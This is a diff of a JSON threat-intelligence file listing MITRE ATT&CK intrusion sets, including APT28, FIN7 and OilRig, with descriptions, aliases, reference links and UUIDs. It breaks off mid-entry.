- "meta": { - "synonyms": [ - "APT18", - "Threat Group-0416", - "TG-0416", - "Dynamite Panda" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0026", - "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" - ] - }, - "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648" - }, - { - "description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", - "value": "CopyKittens - G0052", - "meta": { - "synonyms": [ - "CopyKittens" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0052", - "http://www.clearskysec.com/copykitten-jpost/", - "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf", - "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" - ] - }, - "uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a" - }, - { - "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)", - "value": "Gamaredon Group - G0047", - "meta": { - "synonyms": [ - "Gamaredon Group" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0047", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" - ] - }, - "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf" - } - ] -} + "name": "Enterprise Attack -intrusion Set", + "type": "mitre-enterprise-attack-intrusion-set", + "description": "Name of ATT&CK Group", + "version": 4, + "source": "https://github.com/mitre/cti", + "uuid": "01f18402-1708-11e8-ac1c-1ffb3c4a7775", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)", + "value": "Poseidon Group - G0033", + "meta": { + "synonyms": [ + "Poseidon Group" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0033", + "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + ], + "external_id": "G0033" + }, + "uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446" + }, + { + "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", + "value": "Group5 - G0043", + "meta": { + "synonyms": [ + "Group5" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0043", + "https://citizenlab.org/2016/08/group5-syria/" + ], + "external_id": "G0043" + }, + "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40" + }, + { + "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)", + "value": "PittyTiger - G0011", + "meta": { + "synonyms": [ + "PittyTiger" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0011", + "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + ], + "external_id": "G0011" + }, + "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647" + }, + { + "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)", + "value": "admin@338 - G0018", + "meta": { + "synonyms": [ + "admin@338" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0018", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "external_id": "G0018" + }, + "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756" + }, + { + "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)", + "value": "RTM - G0048", + "meta": { + "synonyms": [ + "RTM" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0048", + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + ], + "external_id": "G0048" + }, + "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f" + }, + { + "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "value": "APT16 - G0023", + "meta": { + "synonyms": [ + "APT16" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0023", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + ], + "external_id": "G0023" + }, + "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" + }, + { + "description": "Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev", + "value": "Sowbug - G0054", + "meta": { + "synonyms": [ + "Sowbug" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0054", + "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + ], + "external_id": "G0054" + }, + "uuid": "d1acfbb3-647b-4723-9154-800ec119006e" + }, + { + "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)", + "value": "APT28 - G0007", + "meta": { + "synonyms": [ + "APT28", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0007", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + ], + "external_id": "G0007" + }, + "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" + }, + { + "description": "PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)\n\nContributors: Ryan Becwar", + "value": "PLATINUM - G0068", + "meta": { + "synonyms": [ + "PLATINUM" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0068" + ], + "external_id": "G0068" + }, + "uuid": "f9c06633-dcff-48a1-8588-759e7cec5694" + }, + { + "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "value": "Winnti Group - G0044", + "meta": { + "synonyms": [ + "Winnti Group", + "Blackfly" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0044", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", + "https://securelist.com/games-are-over/70991/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" + ], + "external_id": "G0044" + }, + "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff" + }, + { + "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)", + "value": "Deep Panda - G0009", + "meta": { + "synonyms": [ + "Deep Panda", + "Shell Crew", + "WebMasters", + "KungFu Kittens", + "PinkPanther", + "Black Vine" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0009", + "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" + ], + "external_id": "G0009" + }, + "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064" + }, + { + "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2", + "value": "Molerats - G0021", + "meta": { + "synonyms": [ + "Molerats", + "Operation Molerats", + "Gaza Cybergang" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0021" + ], + "external_id": "G0021" + }, + "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411" + }, + { + "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "value": "Strider - G0041", + "meta": { + "synonyms": [ + "Strider", + "ProjectSauron" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0041", + "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets", + "https://securelist.com/faq-the-projectsauron-apt/75533/" + ], + "external_id": "G0041" + }, + "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656" + }, + { + "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)", + "value": "Sandworm Team - G0034", + "meta": { + "synonyms": [ + "Sandworm Team", + "Quedagh" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0034", + "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + ], + "external_id": "G0034" + }, + "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192" + }, + { + "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)", + "value": "FIN6 - G0037", + "meta": { + "synonyms": [ + "FIN6" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0037", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + ], + "external_id": "G0037" + }, + "uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb" + }, + { + "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", + "value": "Dust Storm - G0031", + "meta": { + "synonyms": [ + "Dust Storm" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0031", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" + ], + "external_id": "G0031" + }, + "uuid": "ae41895a-243f-4a65-b99b-d85022326c31" + }, + { + "description": "TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.", + "value": "TA459 - G0062", + "meta": { + "synonyms": [ + "TA459" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0062", + "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + ], + "external_id": "G0062" + }, + "uuid": "62a64fd3-aaf7-4d09-a375-d6f8bb118481" + }, + { + "description": "APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. The group was believed to be responsible for a 2016 campaign known as Operation Daybreak as well as an earlier campaign known as Operation Erebus. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.", + "value": "APT37 - G0067", + "meta": { + "synonyms": [ + "APT37", + "ScarCruft", + "Reaper", + "Group123", + "TEMP.Reaper" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0067", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf", + "https://securelist.com/operation-daybreak/75100/" + ], + "external_id": "G0067" + }, + "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c" + }, + { + "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "value": "Cleaver - G0003", + "meta": { + "synonyms": [ + "Cleaver", + "TG-2889", + "Threat Group 2889" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0003", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", + "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + ], + "external_id": "G0003" + }, + "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063" + }, + { + "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)", + "value": "APT12 - G0005", + "meta": { + "synonyms": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda", + "DNSCALC" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0005", + "http://www.crowdstrike.com/blog/whois-numbered-panda/" + ], + "external_id": "G0005" + }, + "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" + }, + { + "description": "NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "value": "NEODYMIUM - G0055", + "meta": { + "synonyms": [ + "NEODYMIUM" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0055", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf", + "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + ], + "external_id": "G0055" + }, + "uuid": "025bdaa9-897d-4bad-afa6-013ba5734653" + }, + { + "description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)", + "value": "APT34 - G0057", + "meta": { + "synonyms": [ + "APT34" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0057", + "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + ], + "external_id": "G0057" + }, + "uuid": "68ba94ab-78b8-43e7-83e2-aed3466882c6" + }, + { + "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)", + "value": "Moafee - G0002", + "meta": { + "synonyms": [ + "Moafee" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0002", + "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + ], + "external_id": "G0002" + }, + "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f" + }, + { + "description": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)", + "value": "Threat Group-3390 - G0027", + "meta": { + "synonyms": [ + "Threat Group-3390", + "TG-3390", + "Emissary Panda", + "BRONZE UNION" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0027", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", + "https://www.secureworks.com/research/bronze-union" + ], + "external_id": "G0027" + }, + "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c" + }, + { + "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", + "value": "DragonOK - G0017", + "meta": { + "synonyms": [ + "DragonOK" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0017", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", + "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + ], + "external_id": "G0017" + }, + "uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a" + }, + { + "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "value": "APT1 - G0006", + "meta": { + "synonyms": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0006", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "G0006" + }, + "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" + }, + { + "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)", + "value": "FIN10 - G0051", + "meta": { + "synonyms": [ + "FIN10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0051", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + ], + "external_id": "G0051" + }, + "uuid": "fbe9387f-34e6-4828-ac28-3080020c597b" + }, + { + "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)\n\nContributors: Robert Falcone, Bryan Lee", + "value": "OilRig - G0049", + "meta": { + "synonyms": [ + "OilRig" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0049", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/", + "http://www.clearskysec.com/oilrig/", + "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", + "https://pan-unit42.github.io/playbook%20viewer/", + "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + ], + "external_id": "G0049" + }, + "uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d" + }, + { + "description": "Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)", + "value": "Charming Kitten - G0058", + "meta": { + "synonyms": [ + "Charming Kitten" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0058", + "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf" + ], + "external_id": "G0058" + }, + "uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0" + }, + { + "description": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nContributors: Walker Johnson", + "value": "FIN5 - G0053", + "meta": { + "synonyms": [ + "FIN5" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0053", + "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html", + "https://www.youtube.com/watch?v=fevGZs0EQu8", + "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + ], + "external_id": "G0053" + }, + "uuid": "85403903-15e0-4f9f-9be4-a259ecad4022" + }, + { + "description": "BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "value": "BlackOasis - G0063", + "meta": { + "synonyms": [ + "BlackOasis" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0063", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "https://securelist.com/apt-trends-report-q2-2017/79332/", + "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + ], + "external_id": "G0063" + }, + "uuid": "da49b9f1-ca99-443f-9728-0a074db66850" + }, + { + "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)", + "value": "Taidoor - G0015", + "meta": { + "synonyms": [ + "Taidoor" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0015", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" + ], + "external_id": "G0015" + }, + "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46" + }, + { + "description": "Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)", + "value": "Night Dragon - G0014", + "meta": { + "synonyms": [ + "Night Dragon", + "Musical Chairs" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0014", + "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf", + "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + ], + "external_id": "G0014" + }, + "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" + }, + { + "description": "Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "value": "Naikon - G0019", + "meta": { + "synonyms": [ + "Naikon" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0019", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf", + "http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf", + "https://securelist.com/the-naikon-apt/69953/" + ], + "external_id": "G0019" + }, + "uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050" + }, + { + "description": "Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)", + "value": "Ke3chang - G0004", + "meta": { + "synonyms": [ + "Ke3chang" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0004", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + ], + "external_id": "G0004" + }, + "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c" + }, + { + "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)", + "value": "APT32 - G0050", + "meta": { + "synonyms": [ + "APT32", + "OceanLotus Group" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0050", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + ], + "external_id": "G0050" + }, + "uuid": "247cb30b-955f-42eb-97a5-a89fef69341e" + }, + { + "description": "MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to FIN7, but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)", + "value": "MuddyWater - G0069", + "meta": { + "synonyms": [ + "MuddyWater", + "TEMP.Zagros" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0069", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + ], + "external_id": "G0069" + }, + "uuid": "269e8108-68c6-4f99-b911-14b2e765dec2" + }, + { + "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)", + "value": "Patchwork - G0040", + "meta": { + "synonyms": [ + "Patchwork", + "Dropping Elephant", + "Chinastrats", + "MONSOON", + "Operation Hangover" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0040", + "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf", + "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + ], + "external_id": "G0040" + }, + "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0" + }, + { + "description": "APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "value": "APT30 - G0013", + "meta": { + "synonyms": [ + "APT30" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0013", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "https://securelist.com/the-naikon-apt/69953/" + ], + "external_id": "G0013" + }, + "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd" + }, + { + "value": "MONSOON - G0042", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0042" + ], + "external_id": "G0042" + }, + "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772" + }, + { + "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "value": "APT17 - G0025", + "meta": { + "synonyms": [ + "APT17", + "Deputy Dog" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0025", + "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" + ], + "external_id": "G0025" + }, + "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" + }, + { + "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)", + "value": "FIN7 - G0046", + "meta": { + "synonyms": [ + "FIN7" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0046", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "external_id": 